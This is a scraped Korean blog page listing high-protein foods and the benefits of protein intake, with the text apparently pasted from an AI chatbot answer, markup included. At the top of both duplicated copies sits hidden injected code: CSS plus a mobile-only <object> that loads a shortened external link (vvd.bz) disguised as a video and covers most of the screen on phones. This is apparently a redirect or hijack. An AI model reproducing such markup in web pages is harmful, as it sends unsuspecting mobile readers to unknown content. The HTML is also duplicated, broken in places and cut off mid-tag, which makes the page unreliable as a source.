단백질 많은 음식, 먹고 부족 채워요

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:23">단백질 풍부한 음식으로 건강 채우기</h2><p data-sourcepos="3:1-3:103">단백질은 우리 몸을 구성하는 기본 성분이자 에너지원으로, 근육 생성, 면역력 강화 등 다양한 역할을 합니다. 특히 운동을 하거나 다이어트를 하는 사람들에게는 더욱 중요한 영양소입니다.</p><p data-sourcepos="5:1-5:28"><strong>단백질이 풍부한 음식, 어떤 것이 있을까요?</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-vector/variety-protein-foods_38826215.htm"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="다양한 단백질 식품 모음 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRfpEnOMucKce4ZoDaeu5smPQp3W9xzUvFwU45fbxXRb0xZqM3vWiH6rfKB8i03"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-vector/variety-protein-foods_38826215.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 단백질 식품 모음 </div></div></single-image></response-element></div></p><p data-sourcepos="9:1-9:92"><strong>1. 육류:</strong> 닭가슴살, 소고기, 돼지고기 등 육류는 고품질 단백질의 대표적인 공급원입니다. 특히 닭가슴살은 지방 함량이 적어 다이어트 식단에 자주 활용됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40150284"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="닭가슴살 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRynt87qlIhAGRILbi7LkcGy4kAyykF1WnaAojJCCatPie3MutueTznk0Mf9SnS"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://m.cjthemarket.com/mo/prod/prodDetail?prdCd=40150284" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTb-z69306dHHFOGKm49dDBPvMkYYQGDvCFy-RUnrvG9QyQwVMD3PnP2Drl1YgTSJb0A1SLrnBf6DGcZeBoEy2z-UP1E2iGweCMgmk"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">m.cjthemarket.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 닭가슴살 </div></div></single-image></response-element></div></p><p data-sourcepos="13:1-13:74"><strong>2. 생선:</strong> 연어, 참치, 고등어 등 등푸른 생선에는 단백질뿐만 아니라 오메가-3 지방산이 풍부하여 심혈관 건강에도 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./recipes/hk5UNkHm1EwdWABZp55vrJgE"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연어 스테이크 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT4AvFdrojzIX5FiBHCTxNqZIe3p_yscXFA-s9aMsNtsz2HcB6xbHZrdPw6O45G"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/hk5UNkHm1EwdWABZp55vrJgE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 스테이크 </div></div></single-image></response-element></div></p><p data-sourcepos="17:1-17:68"><strong>3. 계란:</strong> 계란은 완전 단백질 식품으로, 단백질뿐만 아니라 비타민, 미네랄 등 다양한 영양소를 함유하고 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B3%84%EB%9E%80%ED%94%84%EB%9D%BC%EC%9D%B4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="계란 후라이 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcT7mAa71ffEiUVJfVNTNqM5Y94MkOdsAdX-xpWBzAtNNjxLArpVjasMEHRzmJkH"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B3%84%EB%9E%80%ED%94%84%EB%9D%BC%EC%9D%B4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 계란 후라이 </div></div></single-image></response-element></div></p><p data-sourcepos="21:1-21:86"><strong>4. 콩류:</strong> 콩, 렌틸콩, 병아리콩 등 콩류는 식물성 단백질의 대표적인 공급원입니다. 섬유질이 풍부하여 포만감을 높여주고, 소화에도 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.smlounge./essen/article/19717"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩 종류 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQQRGTMS0WSB3Wv2m_wrDeQrwH6OY_OSYJK5bG30PRFde_1UaQHXACVCWjE5XOU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.smlounge./essen/article/19717" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcSU_JQ5AZfjL_qJzEYwCFPLG3Bt-WLNzOGcldghRTJq3QJug_C9wUweCGuHmHK8A56yWmhWQ3GxKjCAYUpMnmQ28g5mZ9lTdMkeJw6R"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.smlounge.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩 종류 </div></div></single-image></response-element></div></p><p data-sourcepos="25:1-25:70"><strong>5. 견과류:</strong> 아몬드, 호두, 캐슈넛 등 견과류는 건강한 지방과 함께 단백질을 제공합니다. 간식으로 섭취하기 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/nuts-collection-5451771.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 모음 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTzoHnxRtbhlsW5PLB9vsY_zLHq3LNEklgoG3QGLnWRWUAxEHOKGOjigWGO5NUJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/nuts-collection-5451771.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 모음 </div></div></single-image></response-element></div></p><p data-sourcepos="29:1-29:56"><strong>6. 유제품:</strong> 우유, 요구르트, 치즈 등 유제품은 칼슘뿐만 아니라 단백질도 함유하고 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6969226"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="요거트와 그래놀라 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQXuoubyphT74r0IswbSkfzSSCkotGyeqMLrJOuG_9Gxg8LiG0UBXLeNCcD5wv5"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6969226" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요거트와 그래놀라 </div></div></single-image></response-element></div></p><p data-sourcepos="33:1-33:47"><strong>7. 그 외:</strong> 퀴노아, 햄프씨드 등 슈퍼푸드도 단백질 함량이 높은 식품입니다.</p><p data-sourcepos="35:1-35:30"><strong>단백질을 충분히 섭취하면 어떤 효과가 있을까요?</strong></p><ul data-sourcepos="37:1-41:0"> <li data-sourcepos="37:1-37:46"><strong>근육량 증가:</strong> 운동 후 단백질 섭취는 근육 회복과 성장에 도움을 줍니다.</li> <li data-sourcepos="38:1-38:62"><strong>체중 감량:</strong> 단백질은 포만감을 높여 과식을 예방하고, 기초대사량을 높여 체지방 감소에 도움을 줍니다.</li> <li data-sourcepos="39:1-39:38"><strong>면역력 강화:</strong> 단백질은 항체 생성에 필수적인 영양소입니다.</li> <li data-sourcepos="40:1-41:0"><strong>뼈 건강:</strong> 일부 단백질 식품은 칼슘 흡수를 도와 뼈 건강에 좋습니다.</li> </ul><p data-sourcepos="42:1-42:22"><strong>단백질, 어떻게 섭취해야 할까요?</strong></p><ul data-sourcepos="44:1-47:0"> <li data-sourcepos="44:1-44:64"><strong>균형 잡힌 식단:</strong> 다양한 식품을 골고루 섭취하여 단백질뿐만 아니라 다른 영양소도 충분히 섭취해야 합니다.</li> <li data-sourcepos="45:1-45:50"><strong>하루 3끼 식사:</strong> 규칙적인 식사를 통해 꾸준히 단백질을 섭취하는 것이 좋습니다.</li> <li data-sourcepos="46:1-47:0"><strong>간식 활용:</strong> 견과류, 요거트 등 간편하게 섭취할 수 있는 단백질 식품을 간식으로 활용해보세요.</li> </ul><p data-sourcepos="48:1-48:37"><strong>지금 바로 단백질 풍부한 식단으로 건강한 삶을 시작해보세요!</strong></p><p data-sourcepos="50:1-50:30"><strong>단백질 건강 다이어트 식단 운동 영양</strong></p><p data-sourcepos="52:1-52:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.lovepik.com/image-401781450/healthy-diet.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="건강한 식단 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTO7t4MSZQpVpxy_T3FeOyUmR0SdaD9Q19q7hIYJ1Am6NhDBbDvfwogwUWLHfPI"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.lovepik.com/image-401781450/healthy-diet.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSV4TZu5xjf92ZCSzJstlp_7iOL6SDgiYabaEkjEnZSVtlvzatbduFu0agnTi0p2gR4tftZIWsKgtXW6HCBM9Q4Mo_t7RlGXX4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.lovepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건강한 식단 </div></div></single-image></response-element></div></span></p><p data-sourcepos="54:1-54:26"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kor.pngtree.com/so/%EC%9A%B4%EB%8F%99%ED%95%98%EB%8A%94-%EC%82%AC%EB%9E%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="운동하는 사람 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTMGIyFVQDLcMJEwWemYuD_MeQKEA-J6AiYK9TqAAYMj_CowNWtnbxW9kWOkJ50"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kor.pngtree.com/so/%EC%9A%B4%EB%8F%99%ED%95%98%EB%8A%94-%EC%82%AC%EB%9E%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRVncqV16_KpIwkAg-5UxMyCcknE-f7BERuW8UNTcPQt3G-IuuZg963ryl412HSetZX3-o6JzwJUNJs6wJ2rOU-0DU70IotrMlD"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kor.pngtree.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 운동하는 사람 </div></div></single-image></response-element></div></span></p><p data-sourcepos="56:1-56:29"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/free-photos-vectors/%ED%96%89%EB%B3%B5%ED%95%9C-%ED%91%9C%EC%A0%95%EC%9D%98-%EC%82%AC%EB%9E%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="행복한 표정의 사람 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQ0n6abJ69KITh6csj6qqOxa2iEKV3lqM1YTKr9N2LRHhOkdnocglLKl343fw7p"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/free-photos-vectors/%ED%96%89%EB%B3%B5%ED%95%9C-%ED%91%9C%EC%A0%95%EC%9D%98-%EC%82%AC%EB%9E%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4527f15e11f34b30&quot;,&quot;c_15cf5046e24b6b7e&quot;,null,&quot;rc_3f5f440be69bd45a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.freepik.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 행복한 표정의 사람 </div></div></single-image></response-element></div></span></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:23">단백질 풍부한 음식으로 건강 채우기</h2><p data-sourcepos="3:1-3:103">단백질은 우리 몸을 구성하는 기본 성분이자 에너지원으로, 근육 생성, 면역력 강화 등 다양한 역할을 합니다. 특히 운동을 하거나 다이어트를 하는 사람들에게는 더욱 중요한 영양소입니다.</p><p data-sourcepos="5:1-5:28"><strong>단백질이 풍부한 음식, 어떤 것이 있을까요?</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4527f15e11f34b30","c_15cf5046e24b6b7e",null,"rc_3f5f440be69bd45a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-vector/variety-protein-foods_38826215.htm"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="다양한 단백질 식품 모음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRfpEnOMucKce4ZoDaeu5smPQp3W9xzUvFwU45fbxXRb0xZqM3vWiH6rfKB8i03"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a 